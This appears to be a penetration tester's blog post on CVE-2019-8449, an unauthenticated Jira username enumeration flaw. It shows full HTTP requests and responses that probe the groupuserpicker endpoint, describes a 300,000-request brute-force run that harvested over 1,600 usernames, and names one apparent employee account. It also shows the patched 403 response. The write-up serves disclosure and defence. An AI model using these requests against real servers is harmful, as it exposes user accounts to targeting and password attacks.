More Jira Enumeration (usernames) – CVE-2019-8449

I performed even more Jira enumeration on usernames recently but using a different exploit.

Jira Enumeration – Introduction

First, I recommend you check out my earlier post, as that was a similar attack that was fixed in an earlier patch.

I was on Twitter one day and saw mention of this vulnerability.

Looking at CVE-2019-8449, this seemed like another easy exploit.

This was again only a brief time after the disclosure, so it was another n-day attempt. I used the same target as last time, as I knew a bit about the usernames.

Testing the Vulnerability

First, I found a python script that would exploit the vulnerability, so I built my HTTP requests using this as an example.

Next, to verify that I correctly formatted my request, I sent a valid request to the groupuserpicker endpoint. I assumed that there wasn’t a fake.user12345 on the target, to see the false scenario.

GET /rest/api/latest/groupuserpicker?query=fake.user12345&maxResults=50&showAvatar=false HTTP/1.1
Host: jira.target.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

As you can see, the server responded with a JSON body showing that there were 0 matches.

HTTP/1.1 200 
Date: Wed, 05 Feb 2020 17:08:21 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-ANODEID: node-c
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, no-transform
Content-Length: 148

{"users":{"users":[],"total":0,"header":"Showing 0 of 0 matching users"},"groups":{"header":"Showing 0 of 0 matching groups","total":0,"groups":[]}}

Next, I sent a request with a user that I knew existed, to see the true scenario.

GET /rest/api/latest/groupuserpicker?query=raymond.doyle&maxResults=50&showAvatar=false HTTP/1.1
Host: jira.target.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

As you can see, the server responded with a different message showed that there was one matching user.

HTTP/1.1 200 
Date: Wed, 05 Feb 2020 17:08:38 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-ANODEID: node-a
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, no-transform
Content-Length: 280

{"users":{"users":[{"name":"raymond.doyle","key":"raymond.doyle","html":"Raymond Doyle (raymond.doyle)","displayName":"Raymond Doyle"}],"total":1,"header":"Showing 1 of 1 matching users"},"groups":{"header":"Showing 0 of 0 matching groups","total":0,"groups":[]}}

After verifying the vulnerability, I fired up Intruder for the full attack. I used strupo’s username list again, combined with some custom wordlists from last time. In the end, I sent just over 300,000 requests to the target.

I got plenty of valid responses, as you can see from this redacted screenshot.

In the end, I enumerated over 1600 users, which was an improvement of over 100 from my last attack!

root@kali:~/Jira_CVE20198449# wc -l unique-users.txt 
    1611 unique-users.txt

Post Patch

Once my target deployed their patches, I went back and verified the fix.

As you can see, an unauthenticated user can no longer call the groupuserpicker endpoint, preventing the username enumeration.

Raw Request

GET /rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=false HTTP/1.1
Host: jira.target.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Raw Response

HTTP/1.1 403 
Date: Fri, 07 Feb 2020 12:01:14 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Set-Cookie: [Cookie]
X-ANODEID: node-a
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, no-transform
Content-Length: 77

You are not authenticated. Authentication required to perform this operation.

Jira Enumeration – Conclusion

This vulnerability was like the last one, but it was another case of good timing.

I added an additional 100 users to my target list as well, which is a nice win.

A vulnerability like this is something that a long-term adversary would exploit, so make sure that you confirm as well as patch as soon as possible.

As usual, I’ve got plenty of posts in the hopper, but please let me know if there is anything specific that you’d like to see!